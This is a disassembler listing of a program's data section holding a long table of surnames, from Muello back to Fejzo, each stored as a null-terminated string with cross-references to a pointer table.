aMuello db 'Muello',0 ; DATA XREF: ___:0042E19Co
align 4
aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E198o
aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E194o
aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E190o
align 4
aMosler db 'Mosler',0 ; DATA XREF: ___:0042E18Co
align 10h
aMosher db 'Mosher',0 ; DATA XREF: ___:0042E188o
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E184o
align 4
aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E180o
align 4
aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E17Co
align 4
aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E178o
aMorani db 'Morani',0 ; DATA XREF: ___:0042E174o
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E170o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E16Co
align 10h
aMonque db 'Monque',0 ; DATA XREF: ___:0042E168o
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E164o
align 4
aMohr db 'Mohr',0 ; DATA XREF: ___:0042E160o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E15Co
aModestino db 'Modestino',0 ; DATA XREF: ___:0042E158o
align 10h
aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E154o
aMittal db 'Mittal',0 ; DATA XREF: ___:0042E150o
align 10h
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E14Co
aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E148o
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E144o
aMini db 'Mini',0 ; DATA XREF: ___:0042E140o
align 4
aMinh db 'Minh',0 ; DATA XREF: ___:0042E13Co
align 4
aMills db 'Mills',0 ; DATA XREF: ___:0042E138o
align 4
aMieher db 'Mieher',0 ; DATA XREF: ___:0042E134o
align 4
aMiddle db 'Middle',0 ; DATA XREF: ___:0042E130o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E12Co
align 4
aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E128o
align 10h
aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E124o
align 4
aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E120o
aMerz db 'Merz',0 ; DATA XREF: ___:0042E11Co
align 4
aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E118o
aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E114o
align 10h
aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E110o
aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E10Co
align 4
aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E108o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E104o
align 4
aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E100o
aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E0FCo
aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E0F8o
aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E0F4o
aMclane db 'Mclane',0 ; DATA XREF: ___:0042E0F0o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E0ECo
aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E0E8o
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E0E4o
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E0E0o
align 4
aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E0DCo
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E0D8o
align 10h
aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E0D4o
aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E0D0o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E0CCo
align 10h
aMccall db 'Mccall',0 ; DATA XREF: ___:0042E0C8o
align 4
aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E0C4o
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E0C0o
aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E0BCo
align 4
aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E0B8o
aMay db 'May',0 ; DATA XREF: ___:0042E0B4o
aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E0B0o
align 4
aMattson db 'Mattson',0 ; DATA XREF: ___:0042E0ACo
aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E0A8o
align 10h
aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E0A4o
align 4
aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E0A0o
aMass db 'Mass',0 ; DATA XREF: ___:0042E09Co
align 4
aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E098o
align 4
aMarton db 'Marton',0 ; DATA XREF: ___:0042E094o
align 10h
aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E090o
align 4
aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E08Co
align 4
aMarques db 'Marques',0 ; DATA XREF: ___:0042E088o
aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E084o
align 4
aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E080o
align 4
aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E07Co
align 10h
aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E078o
align 4
aMarch db 'March',0 ; DATA XREF: ___:0042E074o
align 4
aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E070o
align 10h
aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E06Co
aMandel db 'Mandel',0 ; DATA XREF: ___:0042E068o
align 4
aManalis db 'Manalis',0 ; DATA XREF: ___:0042E064o
aMalova db 'Malova',0 ; DATA XREF: ___:0042E060o
align 4
aMaller db 'Maller',0 ; DATA XREF: ___:0042E05Co
align 4
aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E058o
align 4
aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E054o
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E050o
align 10h
aMaier db 'Maier',0 ; DATA XREF: ___:0042E04Co
align 4
aMahony db 'Mahony',0 ; DATA XREF: ___:0042E048o
align 10h
aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E044o
align 4
aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E040o
aMacy db 'Macy',0 ; DATA XREF: ___:0042E03Co
align 4
aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E038o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E034o
align 10h
aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E030o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E02Co
align 4
aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E028o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E024o
align 10h
aMa db 'Ma',0 ; DATA XREF: ___:0042E020o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E01Co
aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E018o
align 4
aLussier db 'Lussier',0 ; DATA XREF: ___:0042E014o
aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E010o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E00Co
aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E008o
align 4
aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E004o
aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E000o
aLucas db 'Lucas',0 ; DATA XREF: ___:0042DFFCo
align 10h
aLubin db 'Lubin',0 ; DATA XREF: ___:0042DFF8o
align 4
aLoza db 'Loza',0 ; DATA XREF: ___:0042DFF4o
align 10h
aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042DFF0o
align 4
aLoveman db 'Loveman',0 ; DATA XREF: ___:0042DFECo
aLoss db 'Loss',0 ; DATA XREF: ___:0042DFE8o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: ___:0042DFE4o
align 4
aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042DFE0o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042DFDCo
aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042DFD8o
aLivi db 'Livi',0 ; DATA XREF: ___:0042DFD4o
align 4
aLivernash db 'Livernash',0 ; DATA XREF: ___:0042DFD0o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: ___:0042DFCCo
align 10h
aLittle db 'Little',0 ; DATA XREF: ___:0042DFC8o
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042DFC4o
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042DFC0o
align 10h
aLinzee db 'Linzee',0 ; DATA XREF: ___:0042DFBCo
align 4
aLinehan db 'Linehan',0 ; DATA XREF: ___:0042DFB8o
aLine db 'Line',0 ; DATA XREF: ___:0042DFB4o
align 4
aLinder db 'Linder',0 ; DATA XREF: ___:0042DFB0o
align 10h
aLinda db 'Linda',0 ; DATA XREF: ___:0042DFACo
align 4
aLinares db 'Linares',0 ; DATA XREF: ___:0042DFA8o
aLim db 'Lim',0 ; DATA XREF: ___:0042DFA4o
aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042DFA0o
align 10h
aLight db 'Light',0 ; DATA XREF: ___:0042DF9Co
align 4
aLiem db 'Liem',0 ; DATA XREF: ___:0042DF98o
align 10h
aLidano db 'Lidano',0 ; DATA XREF: ___:0042DF94o
align 4
aLiakos db 'Liakos',0 ; DATA XREF: ___:0042DF90o
align 10h
aLessi db 'Lessi',0 ; DATA XREF: ___:0042DF8Co
align 4
aLesser db 'Lesser',0 ; DATA XREF: ___:0042DF88o
align 10h
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042DF84o
align 4
aLenard db 'Lenard',0 ; DATA XREF: ___:0042DF80o
align 4
aLeite db 'Leite',0 ; DATA XREF: ___:0042DF7Co
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042DF78o
align 4
aLecce db 'Lecce',0 ; DATA XREF: ___:0042DF74o
align 10h
aLecar db 'Lecar',0 ; DATA XREF: ___:0042DF70o
align 4
aLawless db 'Lawless',0 ; DATA XREF: ___:0042DF6Co
aLashley db 'Lashley',0 ; DATA XREF: ___:0042DF68o
aLaserna db 'Laserna',0 ; DATA XREF: ___:0042DF64o
aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042DF60o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042DF5Co
align 4
aLankes db 'Lankes',0 ; DATA XREF: ___:0042DF58o
align 4
aLandes db 'Landes',0 ; DATA XREF: ___:0042DF54o
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042DF50o
align 10h
aLaing db 'Laing',0 ; DATA XREF: ___:0042DF4Co
align 4
aLafler db 'Lafler',0 ; DATA XREF: ___:0042DF48o
align 10h
aLabunka db 'Labunka',0 ; DATA XREF: ___:0042DF44o
aLa db 'La',0 ; DATA XREF: ___:0042DF40o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042DF3Co
align 4
aKusman db 'Kusman',0 ; DATA XREF: ___:0042DF38o
align 10h
aKumar db 'Kumar',0 ; DATA XREF: ___:0042DF34o
align 4
aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042DF30o
aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042DF2Co
aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042DF28o
aKraus db 'Kraus',0 ; DATA XREF: ___:0042DF24o
align 4
aKrasney db 'Krasney',0 ; DATA XREF: ___:0042DF20o
aKrailo db 'Krailo',0 ; DATA XREF: ___:0042DF1Co
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042DF18o
aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042DF14o
align 4
aKotter db 'Kotter',0 ; DATA XREF: ___:0042DF10o
align 10h
aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042DF0Co
align 4
aKool db 'Kool',0 ; DATA XREF: ___:0042DF08o
align 4
aKonrad db 'Konrad',0 ; DATA XREF: ___:0042DF04o
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042DF00o
align 4
aKommer db 'Kommer',0 ; DATA XREF: ___:0042DEFCo
align 10h
aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042DEF8o
align 4
aKohn db 'Kohn',0 ; DATA XREF: ___:0042DEF4o
align 4
aKoch db 'Koch',0 ; DATA XREF: ___:0042DEF0o
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042DEECo
aKnuff db 'Knuff',0 ; DATA XREF: ___:0042DEE8o
align 4
aKlint db 'Klint',0 ; DATA XREF: ___:0042DEE4o
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042DEE0o
aKling db 'Kling',0 ; DATA XREF: ___:0042DEDCo
align 4
aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042DED8o
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042DED4o
aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042DED0o
aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042DECCo
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042DEC8o
align 10h
aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042DEC4o
aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042DEC0o
align 4
aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042DEBCo
aKindall db 'Kindall',0 ; DATA XREF: ___:0042DEB8o
aKimura db 'Kimura',0 ; DATA XREF: ___:0042DEB4o
align 10h
aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042DEB0o
aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042DEACo
align 10h
aKhong db 'Khong',0 ; DATA XREF: ___:0042DEA8o
align 4
aKeul db 'Keul',0 ; DATA XREF: ___:0042DEA4o
align 10h
aKerry db 'Kerry',0 ; DATA XREF: ___:0042DEA0o
align 4
aKendall db 'Kendall',0 ; DATA XREF: ___:0042DE9Co
aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042DE98o
aKempton db 'Kempton',0 ; DATA XREF: ___:0042DE94o
aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042DE90o
align 4
aKelker db 'Kelker',0 ; DATA XREF: ___:0042DE8Co
align 10h
aKeith db 'Keith',0 ; DATA XREF: ___:0042DE88o
align 4
aKeepper db 'Keepper',0 ; DATA XREF: ___:0042DE84o
aKeenan db 'Keenan',0 ; DATA XREF: ___:0042DE80o
align 4
aKee db 'Kee',0 ; DATA XREF: ___:0042DE7Co
aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042DE78o
aKasten db 'Kasten',0 ; DATA XREF: ___:0042DE74o
align 4
aKassower db 'Kassower',0 ; DATA XREF: ___:0042DE70o
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042DE6Co
align 4
aKangis db 'Kangis',0 ; DATA XREF: ___:0042DE68o
align 4
aKamel db 'Kamel',0 ; DATA XREF: ___:0042DE64o
align 4
aKalman db 'Kalman',0 ; DATA XREF: ___:0042DE60o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042DE5Co
align 4
aKalil db 'Kalil',0 ; DATA XREF: ___:0042DE58o
align 10h
aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042DE54o
align 4
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042DE50o
aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042DE4Co
aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042DE48o
align 4
aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042DE44o
aJulious db 'Julious',0 ; DATA XREF: ___:0042DE40o
aJuliano db 'Juliano',0 ; DATA XREF: ___:0042DE3Co
aJucks db 'Jucks',0 ; DATA XREF: ___:0042DE38o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042DE34o
align 4
aJolly db 'Jolly',0 ; DATA XREF: ___:0042DE30o
align 10h
aJohns db 'Johns',0 ; DATA XREF: ___:0042DE2Co
align 4
aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042DE28o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042DE24o
aJewett db 'Jewett',0 ; DATA XREF: ___:0042DE20o
align 4
aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042DE1Co
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042DE18o
aJellis db 'Jellis',0 ; DATA XREF: ___:0042DE14o
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042DE10o
aJay db 'Jay',0 ; DATA XREF: ___:0042DE0Co
aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042DE08o
aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042DE04o
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042DE00o
align 10h
aJamil db 'Jamil',0 ; DATA XREF: ___:0042DDFCo
align 4
aJain db 'Jain',0 ; DATA XREF: ___:0042DDF8o
align 10h
aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042DDF4o
align 4
aJagger db 'Jagger',0 ; DATA XREF: ___:0042DDF0o
align 10h
aJagers db 'Jagers',0 ; DATA XREF: ___:0042DDECo
align 4
aJackson db 'Jackson',0 ; DATA XREF: ___:0042DDE8o
aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042DDE4o
aIyer db 'Iyer',0 ; DATA XREF: ___:0042DDE0o
align 10h
aIsserman db 'Isserman',0 ; DATA XREF: ___:0042DDDCo
align 4
aIsbill db 'Isbill',0 ; DATA XREF: ___:0042DDD8o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042DDD4o
align 10h
aIsaac db 'Isaac',0 ; DATA XREF: ___:0042DDD0o
align 4
aInniss db 'Inniss',0 ; DATA XREF: ___:0042DDCCo
align 10h
aInamura db 'Inamura',0 ; DATA XREF: ___:0042DDC8o
aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042DDC4o
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042DDC0o
align 10h
aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042DDBCo
align 4
aHyde db 'Hyde',0 ; DATA XREF: ___:0042DDB8o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042DDB4o
align 10h
aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042DDB0o
align 4
aHupp db 'Hupp',0 ; DATA XREF: ___:0042DDACo
align 4
aHuntington db 'Huntington',0 ; DATA XREF: ___:0042DDA8o
align 10h
aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042DDA4o
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042DDA0o
align 4
aHuey db 'Huey',0 ; DATA XREF: ___:0042DD9Co
align 10h
aHoy db 'Hoy',0 ; DATA XREF: ___:0042DD98o
aHoward db 'Howard',0 ; DATA XREF: ___:0042DD94o
align 4
aHottle db 'Hottle',0 ; DATA XREF: ___:0042DD90o
align 4
aHostage db 'Hostage',0 ; DATA XREF: ___:0042DD8Co
aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042DD88o
aHorsley db 'Horsley',0 ; DATA XREF: ___:0042DD84o
aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042DD80o
aHooker db 'Hooker',0 ; DATA XREF: ___:0042DD7Co
align 4
aHolzman db 'Holzman',0 ; DATA XREF: ___:0042DD78o
aHolway db 'Holway',0 ; DATA XREF: ___:0042DD74o
align 4
aHolter db 'Holter',0 ; DATA XREF: ___:0042DD70o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: ___:0042DD6Co
aHolmes db 'Holmes',0 ; DATA XREF: ___:0042DD68o
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042DD64o
align 4
aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042DD60o
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042DD5Co
aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042DD58o
align 4
aHock db 'Hock',0 ; DATA XREF: ___:0042DD54o
align 10h
aHoang db 'Hoang',0 ; DATA XREF: ___:0042DD50o
align 4
aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042DD4Co
align 4
aHirst db 'Hirst',0 ; DATA XREF: ___:0042DD48o
align 4
aHind db 'Hind',0 ; DATA XREF: ___:0042DD44o
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042DD40o
align 10h
aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042DD3Co
align 4
aHeubert db 'Heubert',0 ; DATA XREF: ___:0042DD38o
aHester db 'Hester',0 ; DATA XREF: ___:0042DD34o
align 4
aHerrera db 'Herrera',0 ; DATA XREF: ___:0042DD30o
aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042DD2Co
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042DD28o
align 4
aHenery db 'Henery',0 ; DATA XREF: ___:0042DD24o
align 10h
aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042DD20o
align 4
aHelprin db 'Helprin',0 ; DATA XREF: ___:0042DD1Co
aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042DD18o
align 10h
aHellman db 'Hellman',0 ; DATA XREF: ___:0042DD14o
aHeiland db 'Heiland',0 ; DATA XREF: ___:0042DD10o
aHeft db 'Heft',0 ; DATA XREF: ___:0042DD0Co
align 4
aHeermans db 'Heermans',0 ; DATA XREF: ___:0042DD08o
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042DD04o
align 10h
aHaynes db 'Haynes',0 ; DATA XREF: ___:0042DD00o
align 4
aHayes db 'Hayes',0 ; DATA XREF: ___:0042DCFCo
align 10h
aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042DCF8o
align 4
aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042DCF4o
align 4
aHarwell db 'Harwell',0 ; DATA XREF: ___:0042DCF0o
aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042DCECo
align 4
aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042DCE8o
align 4
aHartman db 'Hartman',0 ; DATA XREF: ___:0042DCE4o
aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042DCE0o
align 4
aHarlow db 'Harlow',0 ; DATA XREF: ___:0042DCDCo
align 10h
aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042DCD8o
align 4
aHarding db 'Harding',0 ; DATA XREF: ___:0042DCD4o
aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042DCD0o
aHand db 'Hand',0 ; DATA XREF: ___:0042DCCCo
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042DCC8o
align 10h
aHamer db 'Hamer',0 ; DATA XREF: ___:0042DCC4o
align 4
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042DCC0o
align 4
aHalpert db 'Halpert',0 ; DATA XREF: ___:0042DCBCo
aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042DCB8o
align 4
aHalkias db 'Halkias',0 ; DATA XREF: ___:0042DCB4o
aHaley db 'Haley',0 ; DATA XREF: ___:0042DCB0o
align 4
aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042DCACo
align 4
aHackman db 'Hackman',0 ; DATA XREF: ___:0042DCA8o
aHaar db 'Haar',0 ; DATA XREF: ___:0042DCA4o
align 4
aHa db 'Ha',0 ; DATA XREF: ___:0042DCA0o
align 4
aGuo db 'Guo',0 ; DATA XREF: ___:0042DC9Co
aGunn db 'Gunn',0 ; DATA XREF: ___:0042DC98o
align 4
aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042DC94o
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042DC90o
align 4
aGruner db 'Gruner',0 ; DATA XREF: ___:0042DC8Co
align 4
aGrummell db 'Grummell',0 ; DATA XREF: ___:0042DC88o
align 10h
aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042DC84o
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042DC80o
align 4
aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042DC7Co
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042DC78o
align 10h
aGravell db 'Gravell',0 ; DATA XREF: ___:0042DC74o
aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042DC70o
align 10h
aGoody db 'Goody',0 ; DATA XREF: ___:0042DC6Co
align 4
aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042DC68o
align 4
aGood db 'Good',0 ; DATA XREF: ___:0042DC64o
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042DC60o
align 4
aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042DC5Co
align 4
aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DC58o
aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DC54o
align 4
aGleason db 'Gleason',0 ; DATA XREF: ___:0042DC50o
aGist db 'Gist',0 ; DATA XREF: ___:0042DC4Co
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DC48o
align 10h
aGill db 'Gill',0 ; DATA XREF: ___:0042DC44o
align 4
aGili db 'Gili',0 ; DATA XREF: ___:0042DC40o
align 10h
aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DC3Co
aGibson db 'Gibson',0 ; DATA XREF: ___:0042DC38o
align 10h
aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DC34o
aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DC30o
align 10h
aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DC2Co
aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DC28o
align 10h
aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DC24o
align 4
aGeller db 'Geller',0 ; DATA XREF: ___:0042DC20o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DC1Co
aGarman db 'Garman',0 ; DATA XREF: ___:0042DC18o
align 4
aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DC14o
align 10h
aGambini db 'Gambini',0 ; DATA XREF: ___:0042DC10o
aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DC0Co
align 10h
aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DC08o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DC04o
align 4
aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DC00o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DBFCo
align 4
aFurth db 'Furth',0 ; DATA XREF: ___:0042DBF8o
align 4
aFuller db 'Fuller',0 ; DATA XREF: ___:0042DBF4o
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DBF0o
align 4
aFrye db 'Frye',0 ; DATA XREF: ___:0042DBECo
align 10h
aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DBE8o
align 4
aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DBE4o
aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DBE0o
aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DBDCo
align 4
aFried db 'Fried',0 ; DATA XREF: ___:0042DBD8o
align 10h
aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DBD4o
align 4
aFreid db 'Freid',0 ; DATA XREF: ___:0042DBD0o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DBCCo
align 4
aFranz db 'Franz',0 ; DATA XREF: ___:0042DBC8o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DBC4o
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DBC0o
align 4
aFossi db 'Fossi',0 ; DATA XREF: ___:0042DBBCo
align 10h
aFossey db 'Fossey',0 ; DATA XREF: ___:0042DBB8o
align 4
aFortier db 'Fortier',0 ; DATA XREF: ___:0042DBB4o
aFortes db 'Fortes',0 ; DATA XREF: ___:0042DBB0o
align 4
aForester db 'Forester',0 ; DATA XREF: ___:0042DBACo
align 4
aFolks db 'Folks',0 ; DATA XREF: ___:0042DBA8o
align 4
aFlores db 'Flores',0 ; DATA XREF: ___:0042DBA4o
align 4
aFlier db 'Flier',0 ; DATA XREF: ___:0042DBA0o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DB9Co
aFisk db 'Fisk',0 ; DATA XREF: ___:0042DB98o
align 10h
aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DB94o
aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DB90o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DB8Co
aFink db 'Fink',0 ; DATA XREF: ___:0042DB88o
align 4
aField db 'Field',0 ; DATA XREF: ___:0042DB84o
align 10h
aFido db 'Fido',0 ; DATA XREF: ___:0042DB80o
align 4
aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DB7Co
align 10h
aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DB78o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DB74o
align 4
aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DB70o
align 4
aFernald db 'Fernald',0 ; DATA XREF: ___:0042DB6Co
aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DB68o
aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DB64o
align 4
